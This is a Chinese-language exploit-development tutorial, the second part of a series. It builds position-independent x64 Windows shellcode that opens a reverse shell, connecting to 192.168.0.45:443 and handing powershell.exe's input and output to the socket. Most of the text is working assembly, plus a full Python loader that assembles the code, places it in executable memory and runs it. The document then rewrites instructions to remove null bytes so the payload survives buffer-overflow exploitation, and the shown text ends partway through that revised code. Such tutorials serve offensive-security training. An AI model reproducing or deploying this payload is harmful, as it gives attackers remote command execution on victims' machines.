Skip to main content

Shellcode 编写 - 2

调用 API

为了能实现反向 Shell,我们需要 3 个来自 ws2_32.dll 中的 函数,分别是 WSAStartupWSASocketA,和 WSAConnect。以及来自 kernel32.dll 中的 CreateProcessA 函数。因为我们已经得到了 LoadLibraryA 的地址,因此获得 ws2_32.dll 的基址也很容易。

load_module:
   mov rax, 0x6c6c;   # 将字符串 "ll" 保存至RAX
   push rax;    # 字符串入栈
   mov rax, 0x642E32335F325357;     # 将字符串"WS2_32.D"保存至RAX
   push rax;    # 字符串入栈
   mov rcx, rsp;      # RCX指向"ws2_32.dll\0"字符串
   sub rsp, 0x20;     # 函数序言
   mov rax, r12;      # RAX为LoadLibraryA地址
   call rax;          # LoadLibraryA("ws2_32.dll")
   add rsp, 0x20;     # 函数尾声
   add rsp, 0x10;     # 清理 "ws2_32.dll"字符串所占用的栈空间
   mov r14, rax;      # R14保存了ws2_32.dll的基址

于是,我们获得了 ws2_32 模块的基址。

image.png

我们之前说过,Windows x64 fastcall 的调用分别将函数参数存储在 RCXRDXR8R9,以及栈空间 (如果多于 4 个参数)。尽管前 4 个参数存储于寄存器,但因为参数归位,我们至少需要为栈腾出 0x20 的空间。如果参数更多,那么也相应的增加。如果不是很自信需要腾出多大的空间,宁可多分配一些。

但是,请确保栈满足 16 字节对齐!也就是 RSP 的值一般是以 0 结尾。这里,RSP 是以 8 结尾,不满足 16 字节对齐,出现了这样的报错:

image.png

有的函数参数为结构较为复杂的结构体,我们需要在栈上为其腾出足够的空间,并将结构体的地址作为参数。

sub rsp, 0x200; # 给结构体参数腾出足够空间,不需要十分精确但需要足够大
lea rdx, [rsp]; # 获得结构体的地址作为第2个参数


WSAStartup

首先要调用的是 WSAStartup 函数用于初始化 Winsock DLL 的使用。WSAStartup 函数原型如下:

int WSAStartup(
        WORD      wVersionRequired, # 0x0202 == Version 2.2
  [out] LPWSADATA lpWSAData         # Pointer to where a WSADATA structure will be populated
);

我们需要传递 2 个参数,其中 wVersionRequired 值为 0x202,第 2 个参数 lpWSAData 为结构体类型指针,WSAStartup 调用结束后该参数会被填充,因此我们目前只要给其预留足够空间即可。

call_wsastartup:
   mov r9, rax; # R9保存了ws2_32.dll的基址
   mov r8d, 0x3bfcedcb; # WSAStartup的哈希
   mov rbx, r9; # 将ws2_32.dll的基址保存至RBX以备用
   call parse_module; #搜索并获得WSAStartup的函数地址
   xor rcx, rcx;
   mov cx, 0x198;    
   sub rsp, rcx; # 预留足够空间给lpWSDATA结构体   
   lea rdx, [rsp]; # 将lpWSAData地址赋予RDX寄存器作为第2个参数
   mov rcx, 0x202; # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
   sub rsp, 0x28; #函数序言
   call rax; # 调用WSAStartup
   add rsp, 0x28; # 函数尾声

函数返回值为 0,说明调用成功。

image.png



WSASocketA

接下来,我们需要调用 WSASocketA 函数来创建套接字。WSASocketA 函数原型如下:

SOCKET WSAAPI WSASocketA(
  [in] int                 af,              # RCX   (AF_INET == 2)
  [in] int                 type,            # RDX   (SOCK_STREAM == 1)
  [in] int                 protocol,        # R8    (IPPROTO_TCP == 6)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  # R9    (NULL)
  [in] GROUP               g,               # Stack (NULL)
  [in] DWORD               dwFlags          # Stack (NULL)
);

共有 6 个参数,其中 af2type 1protocol 6,剩余参数皆为 0。因为有 6 个参数,第 5 个参数开始保存在栈上。函数的返回类型为 socket。

call_wsasocket:
   mov r9, rbx;  
   mov r8d, 0xadf509d9; # WSASocketA函数哈希
   call parse_module; # 获得WSASocketA函数地址
   sub rsp, 0x38; # 函数序言
   mov rcx, 2; # af为2作为第1个参数
   mov rdx, 1; # type为1作为第2个参数
   mov r8, 6; # protocol为6作为第3个参数
   xor r9, r9; # lpProtocolInfo为0作为第4个参数
   mov [rsp+0x20], r9; # g为0作为第5个参数,保存在栈上
   mov [rsp+0x28], r9; # dwFlags为0作为第6个参数,保存在栈上
   call rax; # 调用 WSASocketA函数
   mov r12, rax; # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
   add rsp, 0x38; # 函数尾声

返回的描述符值为 0x230 (返回值可能有所不同),保存在 RAX 中。我们需要备份一下该返回值,因为后续会用到,而且 RAX 存储的值很容易被覆盖。

image.png


WSAConnect

接着,我们需要调用 WSAConnect 函数来建立两个套接字应用之间的连接。函数原型如下:

int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);

该函数需要 7 个参数,其中第 1 个参数为 WSASocketA 的返回值,第 2 个参数为结构体 sockaddr 指针,第 3 个参数为 sockaddr 结构体的尺寸,应当为 0x16

其中,sockaddr 结构体如下:

typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

sin_family 值永远为 AF_INET,用整数表示为 2sin_port sin_addr 分别为端口 IP 地址sin_zero 设置为 0 即可。

 call_wsaconnect:
   mov r9, rbx;
   mov r8d, 0xb32dba0c; # WSAConnect哈希
   call parse_module; # 获得WSAConnect地址
   sub rsp, 0x20; # 为socketaddr结构体分配足够空间
   mov rcx, r12; # 将WSASocketA返回的描述符传递给RCX作为第1个参数
   mov rdx, 2; # sin_family成员设置为AF_INET,即2
   mov [rsp], rdx; # 存储socketaddr结构体
   mov rdx, 0xbb01; # 端口设置为443
   mov [rsp+2], rdx; # 将端口值传递给socketaddr结构体中的对应位置
   mov rdx, 0x2d00a8c0; # 设置IP为192.168.0.45
   mov [rsp+4], rdx; # 将IP传递给sockaddr结构体中的对应位置
   lea rdx, [rsp]; # 指向socketaddr结构体的指针作为第2个参数
   mov r8, 0x16; # 设置namelen成员为0x16
   xor r9, r9; # lpCallerData为0作为第4个参数
   sub rsp, 0x38; # 函数序言
   mov [rsp+0x20], r9; # lpCalleeData为0作为第5个参数
   mov [rsp+0x28], r9; # lpSQOS为0作为第6个参数
   mov [rsp+0x30], r9; # lpGQOS为0作为第7个参数
   call rax; # 调用WSAConnect
   add rsp, 0x38; # 函数尾声

调用函数前,查看 RDX 中存储的参数,也就是 sockaddr 结构体地址,各个成员赋值均有效。

image.png

函数返回 0,说明调用成功,并且我们的 netcat 监听器也收到了连接。

image.png


CreateProcessA

最后,我们需要使用 CreateProcessA 函数创建 cmd.exe powershell.exe 进程并且重定向输入输出至初始化的连接中。函数原型如下:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

共有 10 个参数,lpApplicationName 表示应用名称,lpCommandLine 为命令行参数,这 2 个参数不能都为空,这里我们设置 lpCommandLine 为 "powershell.exe"。bInheritHandles 值为 1

lpStartupInfo 为结构体类型指针,我们需要依次给各个结构体成员赋值并且将结构体的地址作为第 9 个参数。lpProcessInformation 也是结构体类型指针,但我们并不需要对该结构体成员赋值,而是在函数调用后被填充,因此我们只需要将其地址作为第 10 个参数。

我们先来看 STARTINFO 结构体,如下是微软文档中给出的结构信息:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

但在内存中,成员的尺寸与微软文档中的有所不同:

0:004> dt combase!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x008 lpReserved       : Ptr64 Char
   +0x010 lpDesktop        : Ptr64 Char
   +0x018 lpTitle          : Ptr64 Char
   +0x020 dwX              : Uint4B
   +0x024 dwY              : Uint4B
   +0x028 dwXSize          : Uint4B
   +0x02c dwYSize          : Uint4B
   +0x030 dwXCountChars    : Uint4B
   +0x034 dwYCountChars    : Uint4B
   +0x038 dwFillAttribute  : Uint4B
   +0x03c dwFlags          : Uint4B
   +0x040 wShowWindow      : Uint2B
   +0x042 cbReserved2      : Uint2B
   +0x048 lpReserved2      : Ptr64 UChar
   +0x050 hStdInput        : Ptr64 Void
   +0x058 hStdOutput       : Ptr64 Void
   +0x060 hStdError        : Ptr64 Void

不过这并没有关系,我们需要指定的只有成员 cbdwFlags、以及最后 3 个成员,其他成员都被赋值 0,因此我们不需要在意其他成员的数据尺寸。cb 值为结构体尺寸,应当设置为 0x68dwFlags 这里设置为 0x100hStdInputhStdOutputhStdError 的值都为 WSASocketA 的返回值

   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x500; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数

接下来,依次给 CreateProcessA 的第 1 至第 8 个参数赋值,最终调用 CreateProcessA 部分代码如下:

 call_createprocess:
   mov r9, rbp; # R9为Kernel32.dll基址
   mov r8d, 0x16b3fe72; # CreateProcessA哈希
   call parse_module; # 获取CreateProcessA地址
   mov rdx, 0x6578652e6c6c; # 字符串"exe.ll"
   push rdx;
   mov rdx, 0x6568737265776f70; # 字符串"ehsrewop"
   push rdx; # "powershell.exe"字符串入栈
   mov rcx, rsp; # 指向"powershell.exe"的指针保存在RCX寄存器中
   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x20; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数
   xor rdx, rdx;
   push rdx; # lpCurrentDirectory值为0作为第8个参数
   push rdx; # lpEnvironment值为0作为第7个参数
   push rdx; # dwCreationFlags值为0作为第6个参数
   inc rdx;
   push rdx; # bInheritHandles值为1作为第5个参数
   xor rdx, rdx;
   push rdx; # 为函数归位区域(第4个参数)预留空间
   push rdx; # 为函数归位区域(第3个参数)预留空间
   push rdx; # 为函数归位区域(第2个参数)预留空间
   push rdx; # 为函数归位区域(第1个参数)预留空间
   mov rdx, rcx; # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
   xor rcx, rcx; # 因为lpCommandLine已经赋值,lpApplicationName可为空
   mov r8, rcx; # lpProcessAttributes值为0作为第3个参数
   mov r9, rcx; # lpThreatAttributes值为0作为第4个参数
   call rax;

参数赋值一切正常:

image.png

最终,我们成功获得了逆向 Shell:

image.png

那么,整合之前的代码,完整的初版 Shellcode 如下:

import ctypes, struct
from keystone import *



CODE = (
"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x0045004E00520045;"    # Unicode字符串 "ENRE"
"  mov r13, 0x002e00320033004c;"    # Unicode字符串 ".23L"
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等,可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等,继续比较,将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等,移动到下一个条目
"  mov rax, r9;"    # 保存kernel32的基址
"  ret;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x0065006E00720065;"    # Unicode字符串 "enre"
"  mov r13, 0x002e00320033006c;"    # Unicode字符串 ".23l"
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等,不会是大小写原因,直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"
"  mov rax, r9;"
"  ret;"


"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   mov r15d, dword ptr [r9 + rcx + 0x88];"     # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"load_module:"
"    mov rax, 0x6c6c;"        # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    mov rcx, 0x202;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x28;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x28;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x38;"     # 函数序言
"    mov rcx, 2;"     # af为2作为第1个参数
"    mov rdx, 1;"     # type为1作为第2个参数
"    mov r8, 6;"     # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x38;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    mov rdx, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    mov rdx, 0xbb01;"     # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov rdx, 0x2d00a8c0;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    mov r8, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0x6578652e6c6c;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov rdx, 0x100;" 
"    push dx;"      # 成员dwFlags值为0x100"   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可"   
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov rdx, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值,lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

接下来,我们将对 Shellcode 进行完善和优化。



去除 0x00 字节

目前,我们初步的完整 Shellcode 长度为 644 字节,且包含了较多的 0x00 字符。在 Shellcode 加载器中,0x00 字节的存在并无妨。但如果该 Shellcode 用于缓冲区溢出等漏洞中,因为 0x00 通常为坏字符,因此 Shellcode 的功能不能被正常执行。

image.png

为了能更加直观地定位到需要修改的指令,我们可以访问 https://defuse.ca/online-x86-assembler.htm#disassembly 在线工具。将汇编指令复制进去,就能看到 Shellcode 与汇编指令的一一对应关系了。例如,我们发现将 Unicode 字符串赋值给寄存器的指令就包含大量 0x00 字节,因为每个 Unicode 字符占用 2 个字节。

image.png

最终,我们发现以下这些指令得到的机器码包含 0x00 字

call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov     r12, 45004E00520045h
mov     r13, 2E00320033004Ch
mov     r12, 65006E00720065h
mov     r13, 2E00320033006Ch
mov     r15d, dword ptr [r9+rcx+88h]
mov     rax, 6C6Ch
mov     rcx, 202h
mov     rcx, 2
mov     rdx, 1
mov     r8, 6
mov     rdx, 2
mov     rdx, 0xBB01h
mov     rdx, 2D00A8C0h
mov     r8, 16h
mov     rdx, 6578652E6C6Ch
mov     rdx, 100h
mov     rdx, 68h

对于 mov r12, 0x0045004e00520045 指令,我们可以换成:

mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;

这样,就没有 0x00 字节了。

image.png

对于 mov rcx, 2 这样较小数值的赋值指令,我们可以赋值负数再使用 neg 指令获得符号相反的数值:

mov rcx, 0xfffffffffffffffe;
neg rcx;

image.png

或者先对寄存器清零自增

xor rcx, rcx;
inc rcx;
inc rcx;

image.png

或者仅对低位赋值

xor rcx, rcx;
mov cl,2;

image.png

就像这样,除了函数调用指令的 0x00 字符外,其余部分修改好的如下:

import ctypes, struct
from keystone import *



CODE = (
"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x1055105E10621055;"    # Unicode字符串 "ENRE"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r12, rax;" 
"  mov r13, 0x103e10421043105c;"    # Unicode字符串 ".23L"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等,可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等,继续比较,将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等,移动到下一个条目
"  mov rax, r9;"    # 保存kernel32的基址
"  ret;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x1075107E10821075;"    # Unicode字符串 "enre"加上0x10101010
"  mov rax, 0x1010101010101010;"   
"  sub r12, rax;" 
"  mov r13, 0x103e10421043107c;"    # Unicode字符串 ".23l"加上0x10101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等,不会是大小写原因,直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"
"  mov rax, r9;"
"  ret;"


"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
